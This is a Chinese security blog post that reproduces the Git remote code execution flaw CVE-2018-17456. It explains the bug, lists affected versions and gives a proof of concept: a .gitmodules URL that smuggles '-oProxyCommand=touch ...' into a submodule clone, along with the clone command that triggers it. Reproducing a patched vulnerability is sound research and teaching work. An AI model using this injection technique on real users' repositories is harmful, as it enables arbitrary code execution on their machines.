Git远程命令执行漏洞复现(CVE-2018-17456 )

颓废 2019年5月19日09:00:44评论554 views字数 1022阅读3分24秒阅读模式
摘要

以mac os的git命令行, 版本为2.10.1

首先在github创建一个仓库,然后传一个.gitmodules 文件,里面写入payload:

10月5日,Git项目披露了一个漏洞,编号为CVE-2018-17456。当用户克隆恶意存储库时,该漏洞可能会导致执行任意代码。Git v2.19.1已经发布了修复程序,以及v2.14.5,v2.15.3,v2.16.5,v2.17.2和v2.18.1中的补丁包。GitHub鼓励所有用户更新客户端以免受漏洞影响。

漏洞描述

这个漏洞已被分配 CVE-2018-17456 这个唯一 ID,与之前的 CVE-2017-1000117 可选注入漏洞相似 —— 恶意仓库可以新建一个 .gitmodules 文件,其中包含以破折号开头的 URL。

通过破折号,当 Git 使用 --recurse-submodules 参数来克隆仓库时,该命令会将 URL 翻译为一个选项,然后可以使用该选项在计算机上进行远程代码执行。

当运行 "git clone --recurse-submodules" 时,Git 会解析 .gitmodules 文件中的 URL 字段,然后将其作为参数传递给 "git clone" 子进程。如果 URL 字段是一个字符串,并使用短划线开头,这个 "git clone" 子进程将会把 URL 翻译为一个选项。这可能导致用户运行 "git clone" 时,会执行 superproject 中的任意脚本。

受影响的产品

GitHub桌面
GitHub Desktop 1.4.1及更早版本包含受此漏洞影响的嵌入式Git。

Atom
Atom包含了相同的嵌入式Git,也受到了影响。版本1.31.2和1.32.0-beta3包括补丁。

Git命令行
Git在命令行和其他客户端上

漏洞复现

以mac os的git命令行, 版本为2.10.1

Git远程命令执行漏洞复现(CVE-2018-17456 )

首先在github创建一个仓库,然后传一个.gitmodules 文件,里面写入payload:

[submodule "test"]     path = test     url = ssh://-oProxyCommand=touch JimZ-test/[email protected]:/timwr/test.git

如果执行了touch JimZ-test,则存在漏洞。

自此我们的恶意仓库创建完成。

用靶机打开受影响的git,然后输入payload

git clone https://github.com/zhengjim/CVE-2018-17456.git --recurse-submodules

Git远程命令执行漏洞复现(CVE-2018-17456 )

然后ls CVE-2018-17456 查看  存在JimZ-test文件 ,证明执行了touch JimZ-test

Git远程命令执行漏洞复现(CVE-2018-17456 )

原文作者;Zhengjim

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日09:00:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Git远程命令执行漏洞复现(CVE-2018-17456 )http://cn-sec.com/archives/68033.html

发表评论

匿名网友 填写信息